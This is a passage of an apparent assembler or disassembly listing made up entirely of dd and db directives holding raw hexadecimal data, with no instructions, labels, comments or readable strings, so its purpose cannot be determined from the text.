		dd 98B8865Ah, 0E769004Ah, 49AA1753h, 0B00EFBDBh, 1A767DCh
		dd 87CD6A26h, 7D50A6CCh, 2EE00E9h, 9273BE97h, 5E3D6281h
		dd 0ED9B00C1h, 0A94C68E1h, 4E7932h, 91412D0Ah, 34C547E0h
		dd 0DFE6B9F0h, 0F190D000h, 799B8894h, 731F00ECh, 9D8696AFh
		dd 2100EA7Bh, 0A844A7Eh, 53A85Dh, 0E12FD9DDh, 54BA5057h
		dd 4E5908A0h, 0F061BC00h, 5DD40ECFh, 6C9A1C7Dh,	0FA873A70h
		dd 7084D544h, 0A70576D7h, 5437EB00h, 0F2D3E41Fh, 0F0230F78h
		dd 401E73D8h, 95B94D56h, 0FC399C64h, 2D0F8079h,	0D4016D82h
		dd 0D6CE00B3h, 7B0773Dh, 9B7A14C4h, 0F4FCF503h,	0CF476ACDh
		dd 97764C80h, 0E9E47Ah,	3FECC17Eh, 0CCB0AF69h, 0FDB6D107h
		dd 1ED0D9E8h, 0CFFEEFh,	4FCB585Fh, 0DBE1F40h, 2279DA0Fh
		dd 567D600Ah, 13B0F0A9h, 213082h, 87611C47h, 58006654h
		dd 1620C99h, 0C264EDEh,	21F5C6F7h, 0FF0C3320h, 0B86491FCh
		dd 8B830005h, 9C41F319h, 0EA00FD88h, 2853DEE3h,	1F697B1Ch
		dd 40BCF678h, 521A37D8h, 4B00EBF9h, 0B189E516h,	2E05BEh
		dd 6A6FCEEDh, 7B727C69h, 32C70A01h, 0F613FCB6h,	0F2A4A0F3h
		dd 15665C3Eh, 2480CB3Ah, 17930703h, 3430FB94h, 95F5F8C2h
		dd 0A7DF3B8Ch, 0B59250E0h, 0ED203AB9h, 65787CADh, 3C4086h
		dd 6B937070h, 0B1A1EB6Eh, 37E840D6h, 510F9F43h,	4E8992E0h
		dd 804F2AACh, 702F3BDh,	0B7A85878h, 0EC84A0E8h,	60EB5DE7h
		dd 86D11BFh, 0D73ED76h,	6009070h, 9C13887Eh, 0E1E7F25h
		dd 4867F2F7h, 96EED060h, 3E008637h, 0D44F929Fh,	0EFC410h
		dd 0A113241Ch, 0E56865ADh, 586CA218h, 9CCFA0h, 6A4C7F2Bh
		dd 76A49AA5h, 0B94BB500h, 0ED9EE430h, 5A3F0004h, 7B85A655h
		dd 8E07AD09h, 0AB10D38Ch, 0C84F6A70h, 2AFD0058h, 8ABE7290h
		dd 630FF260h, 0C0DB6264h, 3447401Eh, 0CC4B283Bh, 0B0E41CB8h
		dd 205BC04Eh, 0B6AAF4DFh, 4D724C00h, 0A906C122h, 783200BCh
		dd 35AC5243h, 3E0A5144h, 8E0B526h, 0E2B72880h, 0F2AAB9h
		dd 0ED013730h, 0C6CE972h, 0AE086703h, 0E817E4F0h, 1AC2904h
		dd 503F1DD5h, 6071A248h, 0E5287C6Ch, 0C526A001h, 510043F1h
		dd 0FB5C7462h, 0F30901Ch, 2506E3AFh, 66DC0FA0h,	311271A5h
		dd 7C001F68h, 62E2F34Ch, 36981277h, 0CB1400D8h,	0E182EEBFh
		dd 0FB003C75h, 0B6B1C926h, 0EDB304h, 3031E50Eh,	0E65A158Eh
		dd 49FA4092h, 99BAC200h, 38FB2DB5h, 0EC7A0037h,	6FAE9414h
		dd 72019EA1h, 0D67D51E3h, 41C2D2E5h, 0B4D43C20h, 6C5E007Fh
		dd 0D7AF4052h, 701F6B3h, 9C7DEAFEh, 0E6C477F7h,	87600AFFh
		dd 0BA9042h, 5161D370h,	0C4120FF9h, 2F142409h, 19007E52h
		dd 690AF365h, 9FCE53h, 88685C5Fh, 47AC0D4Ah, 328E2800h
		dd 6383A9C9h, 0BA390214h, 0CF0EBD75h, 0AE678848h, 0ECEDD800h
		dd 44566026h, 0EBDA09ACh, 88F28EAh, 0E1DCB220h,	0BB051024h
		dd 390721A4h, 8BCCC4Ah,	0C046320Fh, 3687B849h, 9898CAh
		dd 9E7884F2h, 292A24EAh, 26736748h, 6C230D6h, 0E09C4B77h
		dd 0E40DF71h, 0FF1D1393h, 1A21B3C0h, 54007C8Fh,	0BED9C452h
		dd 7E024D5h, 0F6F7167Eh, 6F53C0E7h, 2000CFC1h, 218CEF91h
		dd 0D9EEC2h, 185C2E93h,	0F585498Bh, 3238CDE2h, 0C660FE23h
		dd 50E3C7A0h, 30C16045h, 0A5AB43BBh, 0FF014C90h, 916D5233h
		dd 0D3EC4989h, 0DACC0036h, 80F27525h, 56FE7C8Dh, 0EAB9AA03h
		dd 0A7990135h, 62F019F7h, 654FED0h, 0A7B8AC9Fh,	7C0921D8h
		dd 1034C717h, 37A428h, 83A61124h, 8B02859Dh, 28B3C300h
		dd 5C409A6Ch, 388048D7h, 0E4DD440h, 0DC49AC70h,	77875720h
		dd 6B0072F0h, 8B53D0D8h, 274EE79h, 5AE7EF6Dh, 0C0DF8E04h
		dd 0E5D1D5h, 0C8C065Ch,	0A4233707h, 8EC72E01h, 3AC8DE50h
		dd 0CCBD6181h, 0C03B4A8Ah, 0D330B3E2h, 0F0B71821h, 6004F069h
		dd 6A201105h, 0F3003B81h, 0DEBD8ED0h, 7F14C45h,	67E994FEh
		dd 0B21B70A3h, 97311088h, 0FB4E30B5h, 6380AED0h, 6B54705Dh
		dd 5AF70780h, 6EB72200h, 0D3C6A569h, 8E3401BFh,	7C81AFCDh
		dd 0DB908056h, 4BA41C54h, 4E88A8C7h, 0D2003FCh,	11585AEFh
		dd 0F534801h, 8AE3C02Ch, 3007D424h, 0B9E13B0Ch,	9F006A28h
		dd 45B59B17h, 0A7EB22h,	0E97796C4h, 0A1DCFD83h,	0DF3DC91Fh
		dd 8E9F2BC0h, 0F0C45Eh,	7595598Dh, 5BE2AE8Ch, 481538h
		dd 0CE73A338h, 65D09Eh,	0A93F6F0h, 0E5A44FDDh, 41C0D94Bh
		dd 9954E1h, 0B7B4E9BDh,	6D01C189h, 58D80D1Fh, 57C94541h
		dd 353011E2h, 0C83000E1h, 0A5E7883Bh, 527EF84Ah, 6AA1A800h
		dd 0B6BA5FABh, 0E3A72BCh, 53CAECB2h, 0F79AE3Eh,	3C81D2FFh
		dd 304AD472h, 909B216h,	80C87403h, 0B3E305FAh, 25F100A7h
		dd 80771E46h, 9B1F0EF4h, 6707B7C9h, 81CA4BEAh, 539FF903h
		dd 0FE1014C7h, 0B002A4B3h, 89CC8ECBh, 0A366ACA0h, 0F065CFDh
		dd 7205A87h, 219F6209h,	605F9BC6h, 62D4EE9Ch, 2B1786A2h
		dd 0B1F73868h, 636DD300h, 0EEBADC92h, 0E4561E6Eh, 38D8809Bh
		dd 4C484D43h, 80A0136Ah, 0EA4F9447h, 5E000833h,	0B7A5495Ah
		dd 0C76A0C50h, 4B0860BFh, 527C21C0h, 1BAB649h, 0B7C456A4h
		dd 83F2939Fh, 607845D8h, 2C60420Bh, 9B3046E2h, 0B6100171h
		dd 576FB5AEh, 0F85810C8h, 0D9468422h, 0A6495902h, 1C58B7h
		dd 0DD49517Dh, 0FF4D55B1h, 92A43115h, 4F950CA8h, 386F2939h
		dd 70E8DB97h, 902103CCh, 1000F167h, 0B1160B11h,	76CCAE4h
		dd 7FE248DCh, 0B7266722h, 60B2E05Ch, 4503044Fh,	4D7CDBE3h
		dd 3B80DF24h, 0F7F554h,	70F27396h, 0B799AC33h, 50D17100h
		dd 0FA2D9512h, 4E9F0057h, 7DC5E030h, 0E8004F6Ch, 2068A3F6h
		dd 0B89E67D4h, 0DD180074h, 0FF48DB09h, 3D3BB32Eh, 9B5100F7h
		dd 7BD6A9D3h, 74A5EE6Dh, 0C6F600C4h, 1D319AC8h,	65004675h
		dd 0E49883Fh, 3913ABC5h, 0B8EF4F8h, 41C0E224h, 0C75D672h
		dd 0B982D200h, 0F4C95122h, 0E6B603F9h, 0C8FA7388h, 46606104h
		dd 1EC355F8h, 0E287C80h, 0A6F4DC44h, 91FE8900h,	40038821h
		dd 0E0857062h, 2CA09009h, 0AB9400FDh, 0CADC4D97h, 0D12DC46Dh
		dd 9DF066h, 0D37961A7h,	75E4764Ah, 372C19CFh, 333E76B8h
		dd 0BF563A83h, 0BCE06F18h, 7B0F775Bh, 0D598C8h,	95FCA39Ah
		dd 396B0026h, 0F0E031E1h, 0D8CF6471h, 0CB9C013h, 389D20Eh
		dd 0F48F4BCCh, 0C1008154h, 0AA852087h, 31A340Ah, 0C3F929A6h
		dd 0C7F05D93h, 0B40009BBh, 0BAEE5A63h, 0C6BF270h, 0D0F8DBBCh
		dd 0AA2ABF41h, 475C90C1h, 0FA2E0115h, 1E234913h, 0C36C96FCh
		dd 752A6D28h, 7CD73CD0h, 0F96EF51Eh, 0ADB7B580h, 449627F1h
		dd 0BF70CD4Bh, 83B6F400h, 70A59139h, 285E02CEh,	0BCA95437h
		dd 88D67D40h, 95C8FB07h, 24B08EB9h, 11DE53Eh, 8F687DEBh
		dd 0A1E8780Dh, 187E0410h, 10F0B8DDh, 0A31C70D5h, 940240Ah
		dd 3FEE2682h, 1A4B0EFCh
		dd 9140DD22h, 5DD6E886h, 85299864h, 0AEE1FA40h,	0BA0F69EFh
		dd 202B3AC7h, 0A580F706h, 282F006Eh, 0DAF908FCh, 7E0011D2h
		dd 45572D99h, 1C0D6371h, 0C0F0AC7Fh, 0D0413E8Ch, 9000AF6Ah
		dd 2C71989Bh, 6B6CE9h, 0FACB73BEh, 3D0DE549h, 0BFC67202h
		dd 605C1CF0h, 4C39FBh, 26B1B4D7h, 305B6EAFh, 0C4954416h
		dd 0FD3FCE00h, 15F2105h, 0AEF4F6EDh, 0C43BBCF8h, 670050A1h
		dd 4005238Fh, 79B8E60h,	2D7A90EAh, 0E8D97041h, 8807DADDh
		dd 9409C833h, 0A90D767h, 3CD5AE2Eh, 0AF00C75Bh,	7142C993h
		dd 0E500F425h, 0FF619E14h, 24F6FD1h, 0A784BA46h, 0BC820D72h
		dd 6740C83Dh, 7B007D42h, 0D630D92Dh, 3FA12102h,	2F0064F4h
		dd 8DA34547h, 2B018F07h, 0FB3BB877h, 0C9711892h, 0C8D0C0EEh
		dd 0E2F9EEDFh, 0D3390008h, 338C8441h, 1138555Ah, 0EA1D12AFh
		dd 95993C00h, 1842FDADh, 9C20B2FEh, 720325A5h, 7D5748D7h
		dd 68B100A2h, 9BBD87E9h, 0B30FB518h, 0C0B6998Ch, 8FADCB9h
		dd 668E0094h, 0FC400358h, 0D500FEFDh, 0A25041B3h, 2434AA7h
		dd 7A8866C5h, 0FBC06082h, 9000042Dh, 0AC5F8D1Eh, 136D9FEh
		dd 54769D3Bh, 30434DA5h, 0AA0087B0h, 9C3DEAC6h,	90E3EF02h
		dd 35FF0050h, 7DB5B34Ah, 0E8006E33h, 6DBB424Dh,	839A89h
		dd 0BD444EA5h, 1A0D0EEFh, 76B6F500h, 9742D01h, 7CDEA10Bh
		dd 0E8CFACCh, 65EC0E9Ch, 402C1F92h, 0FBF438ACh,	0F1EAF248h
		dd 0DDF890EAh, 0F3C54600h, 68D45935h, 150B3C16h, 0F4E3D980h
		dd 678E8ACh, 33896A00h,	9657B225h, 780AFCDDh, 0B53700F2h
		dd 1612443h, 0B118F077h, 0F621825Bh, 0E5C01F5h,	747E0FB2h
		dd 0E4198076h, 59860968h, 3BC400AEh, 0B87F3C0Eh, 0AB0901E8h
		dd 1F22F47h, 18FE9CD0h,	0C3D6E4h, 4684E5F0h, 0BECEA330h
		dd 97EAD900h, 4CA92604h, 727E3927h, 4F997F03h, 8EB90855h
		dd 4298EC83h, 0E7115001h, 73223395h, 0F79C880h,	0B60A1924h
		dd 44934A24h, 544F1280h, 0F6EF6ED4h, 5337A9Fh, 78760E7Fh
		dd 153B801Ch, 0C117FE71h, 1EBEAB29h, 0D995CCF0h, 0F100A0D9h
		dd 0A9BC80DEh, 0EA6BC6h, 6EE9B6FFh, 0E8DD63Dh, 9767B300h
		dd 946495D1h, 0F2E326B2h, 0A95B0441h, 0EA0080E0h, 3500837Dh
		dd 973953F7h, 1DB79DE5h, 8001434Bh, 7A3A4FBAh, 5816AF7Fh
		dd 33007B9Ah, 291973C3h, 792A0383h, 2B9062F1h, 23EDB580h
		dd 0DE986C00h, 0B9A26B8Eh, 2470030Fh, 0C67D73D2h, 4E6031B2h
		dd 0BE0317FBh, 0F4A28009h, 0E1E4F0CCh, 0E5D600F6h, 0C572B20Ah
		dd 8A00506Dh, 91537B30h, 1FF2EAC3h, 536610B4h, 0A41000BAh
		dd 0D06552E5h, 86E40700h, 2C60BC11h, 0BD1500B1h, 3581E1C1h
		dd 653DEF6Dh, 23D9938Fh, 903B1400h, 2C68B3CCh, 8004390Ah
		dd 5A389759h, 7874960Ch, 36C1A400h, 4F780B5h, 0F37903B6h
		dd 0EED3408Dh, 669BBF0h, 977CDA00h, 0E41509ECh,	2CB8097Bh
		dd 7B80D5DBh, 641C7CDh,	2D4C51F8h, 0B1E6005Ch, 297863A7h
		dd 0CDA2C38h, 0F514014h, 120E4861h, 60593B2Ah, 0E097C104h
		dd 0C04901AEh, 94BFD447h, 0F0143011h, 5FB4E800h, 139E7002h
		dd 0DF90C7D1h, 0F9EC30DCh, 0C9007DF7h, 4F27575Fh, 669F7Ch
		dd 7F5C01C4h, 37E43C92h, 1ACB1000h, 0B2872B9Eh,	2EF048C6h
		dd 514FBD04h, 0E13C809Dh, 0CA1ED56Ah, 37006EC1h, 3CA3ED90h
		dd 0AEB516C3h, 0D7D00358h, 63BF9CA9h, 1ED304F6h, 0D1B2D000h
		dd 6CBF27EFh, 0ED8100FEh, 0A73F07AAh, 68070593h, 8DC19FE8h
		dd 68D0C504h, 0CA314h, 9DDC2B8Bh, 5998AF42h, 0F7E4961Eh
		dd 0A89B5204h, 0C6FB7881h, 0D5F003D5h, 305700B9h, 68BFB32Ah
		dd 0FFE0CA3Dh, 2C96722Ch, 63EF200h, 49BD290h, 19D6E503h
		dd 1565C04Fh, 6F00FE8Ch, 0A53D07C3h, 0EA6D6537h, 480B282h
		dd 9E66C29h, 151AC057h,	25F8CC9Ah, 0A0740B00h, 35ABEE3Ah
		dd 77AC002Ch, 76DAB233h, 0A27E4E8Ah, 6E044700h,	1D11B0D8h
		dd 0D49C0353h, 315F0A88h, 7C7879C0h, 0E06CF000h, 6F90ADA2h
		dd 0CABB3A51h, 5C49CF85h, 0BDF4034Ch, 0BCC83A25h, 75001F7Fh
		dd 84B917FDh, 0E4BAC4E4h, 1C1C90E7h, 80455C27h,	0B7337496h
		dd 21003935h, 73C6F6FCh, 4C89FAA4h, 0D3323818h,	84C07EEEh
		dd 7F226D22h, 78A3CCBh,	9A167972h, 0CC080540h, 829C56BBh
		dd 0E463801Fh, 3B79CAB8h, 0AFD16501h, 0DA285A25h, 14F8DEECh
		dd 64950D46h, 80AB241Dh, 0AC150A8Fh, 0F91F68B2h, 189FD606h
		dd 69390400h, 0B0E42DBEh, 4E491EB4h, 0C6BC402Ah, 0ACD2D379h
		dd 1B9F9602h, 80877AE9h, 0B5E8CBB7h, 31A30072h,	4D9718D8h
		dd 0AB076EF3h, 962459F6h, 380780B0h, 4250013h, 0DF93860Eh
		dd 9478F7BDh, 44D85000h, 3BCBA13Fh, 144501C1h, 4CC47B84h
		dd 0D4DDF9B6h, 6702FBBCh, 0E5E1AA86h, 0E684C4ABh, 0C8622C40h
		dd 57788194h, 706CCA9Ch, 0E100D7C0h, 67B1D2C0h,	0E2C4CFh
		dd 0C876AA3Ah, 0DBC3CB1Ch, 0D1ACCD5Eh, 82628h, 0C9CF6FBEh
		dd 90B7A8D6h, 4CD85C3Eh, 0DFB60700h, 4C40356Ch,	9A21A18Eh
		dd 249E120Ch, 0B024870Bh, 9FD781F8h, 7B82181Dh,	0EF23C406h
		dd 0A81D1028h, 0B0E0880Ch, 0C932A330h, 95C58918h, 614B6C38h
		dd 0B834D1E1h, 0E665E507h, 32812480h, 1500E5A3h, 0F59E6BC7h
		dd 36F0AE7h, 0CCEE9F7Ah, 97B056ECh, 110379D9h, 0A08DD482h
		dd 13BF021h, 9030A4CBh,	869700D1h, 0BFB13EE8h, 2A012985h
		dd 856148Bh, 98D06299h,	3E3F004Fh, 0E2FF221Ah, 850097EEh
		dd 0C22DD018h, 1ECBFE10h, 83535CCFh, 80C343ADh,	2408A7D8h
		dd 52BA761Eh, 69810ADDh, 0F2553177h, 230BC980h,	3344CAA4h
		dd 6C22010Eh, 14181DCBh, 1BB021h, 0D96AAAA4h, 0DDB9732h
		dd 0C400A975h, 4036FE5Bh, 0E3315A6h, 7E759FC5h,	0EBD718F8h
		dd 0D0DD1B29h, 4DD87D00h, 767B646h, 0AF9EE46Bh,	218A466Ch
		dd 4D806200h, 0A8CF6F0h, 0D30601A1h, 23725F71h,	7DD85007h
		dd 8387EF2h, 924805Ah, 22715005h, 856C04EFh, 40F6B640h
		dd 0F43EEC1Eh, 48A90099h, 0D3294172h, 0F1071CD8h, 0A2C01AD1h
		dd 23770BC7h, 6C842F15h, 0C0388C08h, 44C5A430h,	8085CB70h
		dd 17A3C8ABh, 0D401D29Bh, 7E60F95Eh, 8906BC32h,	0BE8858A0h
		dd 79901F50h, 1862AE10h, 9A40187Ch, 0F68E190Fh,	0B29CF057h
		dd 4F0BC0C1h, 829B0625h, 0D0A9E4B7h, 33B3E33Eh,	0E08AE86Ah
		dd 0D752DAh, 8EB2A83Bh,	80387949h, 34F48F1Ch, 2C725B40h
		dd 2BC725h, 5213A306h, 0ED5115DCh, 0DD1C2172h, 62409DD1h
		dd 5EB65F4h, 0B52C038Fh, 3F9ABE55h, 2A0040D6h, 250A7BE3h
		dd 0C94D3Ch, 0A9089D2Dh, 0D1819906h, 0BF0C4E00h, 0A0466FA7h
		dd 19EEA26h, 1ED4C9B0h,	802A256Ch, 1D67C288h, 11A4EDh
		dd 2B36F43Dh, 0DF0F8EF0h, 0F513EF07h, 2F705D2Ah, 0CD41C49h
		dd 8CE43947h, 7015B80h,	9B147BC0h, 5320EC26h, 9B025089h
		dd 0D9BC0955h, 288C4D45h, 82607AB1h, 0D11CBE39h, 25A80350h
		dd 0A1F3F261h, 0D51BFD0h, 68DB7E00h, 8FB67203h,	438300D3h
		dd 0F25C5787h, 19C11730h, 82DFDAF3h, 0B7BC7810h, 7070B530h
		dd 111D7236h, 19E7A29h,	3E0D3C74h, 91C0BC70h, 842707C4h
		dd 20A34F11h, 859B2134h, 0D7D75B8h, 3F4CAB71h, 758700C1h
		dd 999198FEh, 0F0F400A7h, 0AB0D7FE1h, 0C7486F8h, 22218E60h
		dd 76DF33Fh, 56765C9Dh,	0A0EEB0B0h, 79804ADEh, 99D703BCh
		dd 3B35FFB6h, 0A912CFA8h, 0A464F907h, 0AD70E469h, 1BE63B4h
		dd 0AC79941Dh, 40C2FE99h
		dd 706B9E20h, 45C64E00h, 6D7D75D0h, 679BE8CBh, 1F4320A4h
		dd 0E5DE7B22h, 0D867ACE1h, 7E70452Ch, 0F09A50Fh, 0B0A2E0DCh
		dd 6068BA12h, 0D6FE5930h, 63302993h, 0F77811B3h, 359503B7h
		dd 2D4A97F0h, 0AF120918h, 0FF5820h, 38DD6B7h, 0A5BACAE2h
		dd 18309400h, 0F1FEC078h, 59950086h, 0DBD311C2h, 0A13B3BB0h
		dd 0ACA9A803h, 808C3E21h, 0E1F1F4DCh, 82850C97h, 0DF39437h
		dd 55AF3DC0h, 0E7086603h, 0F9477B01h, 68808CC6h, 9C32BB26h
		dd 5000D771h, 189853FBh, 6FA9BEh, 0E33EB9B4h, 0AE2786FEh
		dd 3CC2D70Fh, 3BADC060h, 1E9299F8h, 8C6E9Eh, 1D24DAD4h
		dd 0DC00FCC4h, 4E636866h, 0D99EEBh, 4115E020h, 37D26424h
		dd 3D1F6D00h, 10307E99h, 26F6002Bh, 0CE24A1C5h,	0D4007275h
		dd 0B6480477h, 59151Dh,	96227692h, 0DEBBB9FFh, 0DF00D5B0h
		dd 0EC828565h, 393A5D4h, 747BF136h, 0D5F9CDEFh,	0F6EFC3Ah
		dd 0C9452A00h, 0FA99C62Ch, 87A201FBh, 0B63B840h, 0A6C0F8B1h
		dd 0C5096179h, 8CBB9FF6h, 0A59D1160h, 0ECDE104h, 331080A3h
		dd 0F31EB5B9h, 5B733C60h, 467DD100h, 0BF8C673Bh, 0AFD26E00h
		dd 0BE669C74h, 9E807B3h, 0D1A1D8D1h, 0C8EBB4F0h, 0A600F384h
		dd 0C957ADC7h, 3F11338Fh, 0B91853EAh, 2AE858E3h, 5BE22E00h
		dd 2F15C168h, 0CD7857h,	0B39F3F0Bh, 49227025h, 38475D03h
		dd 0B87B92C8h, 0FA4237A3h, 2D7F012Fh, 66F36C21h, 0E8A0D112h
		dd 0CA0394F2h, 5D7D0D41h, 0B3D790DBh, 0B55500D6h, 725E1E31h
		dd 0B700326Ah, 79FD307Bh, 0F5BF76h, 2FDA428Dh, 0D64BA7EFh
		dd 0AD150A00h, 27C9F254h, 0A8FC03CAh, 0E5424691h, 0ECAC7DE0h
		dd 9700C777h, 0FEF1040Fh, 0DCA5F6h, 744BCBD2h, 0B9AC321Dh
		dd 9FE34E02h, 0D8B45625h, 0AD60E38Dh, 0B01903CDh, 0C29BB8DEh
		dd 558965E8h, 0F1C440FFh, 0BC000C11h, 4B394262h, 1814577Fh
		dd 0AA801C03h, 0E4FC5982h, 644A912Eh, 77019912h, 77B27C65h
		dd 60802171h, 803B02C5h, 7F0FC6A8h, 5035654Fh, 62E09200h
		dd 2F13566Dh, 0F923A900h, 1536CE52h, 0B95A0009h, 9F8B692Bh
		dd 9302F226h, 3A524825h, 70BEC086h, 31460040h, 59870FDEh
		dd 0DDFAE417h, 0C3C1CC03h, 3BDA5D5Ch, 0A98007C0h, 34E750FEh
		dd 15006ADFh, 7DC7DB38h, 0A8BBAA9Eh, 0E594DF8h,	0FA17A62Eh
		dd 2B167AC0h, 0CB00DCE5h, 14C7E4DBh, 0D1C3AFh, 0E71FAE56h
		dd 0D2F691A9h, 766F9400h, 9A3CF5E2h, 6A18010Ch,	7FE24DEh
		dd 58377096h, 63FC3007h, 5F80B568h, 78A959Eh, 62812688h
		dd 0BD5840FBh, 48001D14h, 0B93B04CEh, 94515Dh, 6A4FB0F5h
		dd 0C02F68DDh, 0C973F90Fh, 6220C410h, 0FB209887h, 3CF0066Ah
		dd 0D83BC68h, 3642EEB1h, 3F3B18A0h, 2F0E1B78h, 408E866Ah
		dd 1CAFE1D6h, 7D710048h, 0C7B6A435h, 750E62E3h,	27575D88h
		dd 87404364h, 422C8A3h,	86E53CD9h, 8E6087CFh, 0AD63FA60h
		dd 79000CB5h, 56F418D4h, 3C1395CDh, 0DD1E1085h,	393D8057h
		dd 0E9504F7Dh, 35F8C450h, 11FB9107h, 0EA509EBAh, 49C94Eh
		dd 0CFDECCE8h, 0FE2A6AFDh, 8C03DA71h, 0AFBA71E3h, 373BD904h
		dd 721C420h, 9866BBFDh,	7CC390C7h, 95009B15h, 24C061C1h
		dd 548C26B9h, 1D9E880h,	50F36EF6h, 0E14F7CFEh, 463C2436h
		dd 7976E100h, 0DDFF3252h, 0A3FB003Bh, 0F3F4971Dh, 7C005B92h
		dd 3ACE6646h, 456E7Dh, 0AFD0E521h, 1475E720h, 686CC413h
		dd 0EC88C05h, 0F2488C03h, 0FFDCE04Ch, 150200F9h, 0C4914D0h
		dd 0CB00F5C1h, 9D3D3953h, 0BAED75h, 3B01B7B9h, 0C42FC50Eh
		dd 0A832D414h, 1EAF1CE3h, 0B798E600h, 0ECC003h,	0E48F87A6h
		dd 24B1B083h, 0FE16B800h, 0B267285Eh, 1239005Bh, 44B6746Fh
		dd 0B30043C4h, 0BC526C0Ch, 5DDD63h, 191E6B67h, 288C458Fh
		dd 0C79FAD14h, 790A0084h, 4DBF6A3h, 8413006Eh, 0DF167BEAh
		dd 5B001597h, 0F0CA9D08h, 690DBCh, 0F2A99B7Fh, 0B1FDA6EAh
		dd 7C03AE39h, 0D932C500h, 9EC69C58h, 5DBF0001h
		db 7Dh,	0E0h, 0EBh
		db 0DFh
		dd 0A20E17F9h, 20F4FBA4h, 0D63D3E7Fh, 0B1B62612h, 6C4780F8h
		dd 0D5A88C1h, 2014A4A1h, 0E600CDD0h, 0A7E2F435h, 6352DEDFh
		dd 34C021E0h, 65B014C3h, 4D005726h, 0A859D066h,	78E89Ch
		dd 0C38EF95Bh, 0D605802h, 57931600h, 0B740D156h, 253D2E4Ch
		dd 10CF18E4h, 2F90F588h, 35CC2B00h, 7996D3F6h, 16AC07B4h
		dd 203C2A40h, 0E6B744D5h, 0C93E7F78h, 0FC4C72h,	5B6BAF57h
		dd 0EB6245h, 34D5EAE5h,	379A5297h, 1950640Fh, 0E91AAD10h
		dd 34AFECh, 9CA1ABA6h, 413929DFh, 97E4097Ah, 7D05E41Ch
		dd 1567AA00h, 9600A65h,	812E9DFEh, 1AEC0400h, 0E100B668h
		dd 0FA67BEF2h, 3C230A2Fh, 480C68Ch, 6FE77345h, 8D5CDDD8h
		dd 79284C64h, 9F811F07h, 3BD039CFh, 0DA18A5h, 0FE0A55F8h
		dd 7762FB2Dh, 9CF75Ch, 17AF431Bh, 7AC31A81h, 3D45007Dh
		dd 27B774AEh, 9F1D67CDh, 118012CEh, 66E81AF9h, 447184h
		dd 57DE4390h, 0D7F86AA5h, 69A25105h, 0D80017BAh, 9132687h
		dd 0A1280035h, 0D077E80Bh, 81DCE7Ah, 6BC3EED1h,	0D0393EDAh
		dd 0B3EC92h, 480565DEh,	0D70325B9h, 84BE4F00h, 0C6B42436h
		dd 0C08200C2h, 0E5DAB2E8h, 8EC0F57Ch, 92B3E085h, 72C30060h
		dd 917EB439h, 48003135h, 9F966C53h, 7A2D7D2h, 69450768h
		dd 2A645019h, 0F00E205h, 0D03A5FF2h, 89316Fh, 731126B0h
		dd 4462DE22h, 2EBD1A0Eh, 9B41806Bh, 0E52557h, 4A2430E3h
		dd 0E9271084h, 2E65BD00h, 0FBAC9901h, 350D2E38h, 51AB8068h
		dd 0CFDB5CB4h, 55166CF6h, 0DB001181h, 0D43B16A5h, 22CC00ACh
		dd 3F1EBE32h, 0FF004740h, 18B8A063h, 7F68E82h, 8B879CF7h
		dd 16AE01Eh, 44019011h,	6C491DF0h, 84722FFh, 18557870h
		dd 0DC400084h, 0E0AA104Ch, 5E606047h, 0C138DE91h, 94561D20h
		dd 0B8FD4055h, 405FE369h, 10A16032h, 0C3E4EB4Ah, 8EC5C0C9h
		dd 0B29C091Ah, 0D20012D4h, 2F3D4926h, 0D1DAC00h, 0EEB87250h
		dd 0E9C0002Dh, 0B6BDB5A2h, 161D629Fh, 46CAEA37h, 10004099h
		dd 5B2CE095h, 72E5A094h, 1C850FAEh, 7B878DE2h, 3924A196h
		dd 0E448CDA3h, 4506E627h, 54BD3FE5h, 5EC60590h,	907FE18Bh
		dd 6B48402Ch, 5AA30A0h,	5C02E9FCh, 0E2E5E0E4h, 0C0148075h
		dd 1F1EB78Ch, 0C9D903C2h, 835ED3BFh, 9A80861Eh,	0A231C02Ch
		dd 148FA26h, 65F35EB3h,	60C92D21h, 0AA00AE08h, 54831DFEh
		dd 2C6846h, 0B993729Fh,	0FD6CFC80h, 153E6400h, 0EC8DB38Ch
		dd 39ED00F4h, 9B4BC1A8h, 980E7613h, 0A3129177h,	8070D13Fh
		dd 704D7F9Ch, 0E12E39E7h, 0F8E38A00h, 3D79385h,	6D4ED300h
		dd 0C143BCD5h, 0F0481859h, 0B9611A04h, 30ABBF26h, 1B3CBD80h
		dd 0A086372Ch, 749E1EACh, 21AA6090h, 271C6EE2h,	0F7B24607h
		dd 0C8E1A8DFh, 1960A5DDh, 21FD009Fh, 0E5357C5Ch, 0D201F996h
		dd 0EC34E63h, 0A050DC07h, 16D2FA0h, 0C21AAE79h,	9602B55Dh
		dd 0AC400408h, 76D17F5h, 7A5F0180h, 0A9D6F95Eh,	0C4808398h
		dd 1DC356E4h, 1A5F7F58h, 0FCEB2038h, 28CD073h, 37301BA0h
		dd 12169066h, 1C72DEh, 0BE75FC4Bh, 0E103D16Ah, 595B84CDh
		dd 2A34887Bh, 749D0D33h, 2069DE39h, 5100E8D4h, 34FD1960h
		dd 0E8FBE148h, 49E40D4h, 9DE81307h, 7AA36DEBh, 7B000DCh
		dd 0DE332616h, 0EA3F52C1h, 6FA00336h, 94962741h, 0E0019D07h
		dd 0A5AAE59Eh, 0A8A1E107h, 3346E0F5h, 0C6A30021h, 8E5BA99Ch
		dd 0FD1822F7h, 0C249D38Ah, 0A2023052h, 0B981A610h, 2FF83400h
		dd 2193E88Bh, 71FAFBh, 9AE0C9B6h, 0F232D8A6h, 5720E200h
		dd 6A139FFh, 898A000Eh,	0A46BF5FAh, 6C0FE4D8h, 802A15ECh
		dd 0A72196AEh, 173700B2h, 6EEB4677h, 8400927Ch,	0FB580A53h
		dd 0F65D689Eh, 0E72F00AEh, 0CAC09D4Dh, 0C275FD4Eh, 25E5CF03h
		dd 90A253FBh, 61CC5h, 97F3B7BBh, 0C3FC3836h, 402B7400h
		dd 814A90AEh, 937A0F49h, 0F2E1CE89h, 9FBDE707h,	0C100F930h
		dd 0A6A5FB17h, 395807E0h, 0E029527Ch, 8FB673C6h, 1AEC184Ch
		dd 6030CF5Ah, 39BD1AAh,	3B5EB53Eh, 0BCF0CDDBh, 28CF2D40h
		dd 60DF8E52h, 3B46E139h, 56CB006Bh, 0FA37E911h,	3F4FB908h
		dd 6800B0ECh, 75C9F7Ah,	0BB0FF2F0h, 6ED9F937h, 107DC08Ah
		dd 143CF1DCh, 40F3B4EBh, 0BC3E4F80h, 6D00331Dh,	38503FF8h
		dd 40DE6F1Fh, 8A1F6AF4h, 0E8DCA7D0h, 0E5CB5340h, 11CEBF3h
		dd 459FA04Eh, 50C421FAh, 0CB386E80h, 7369C300h,	50830F9Dh
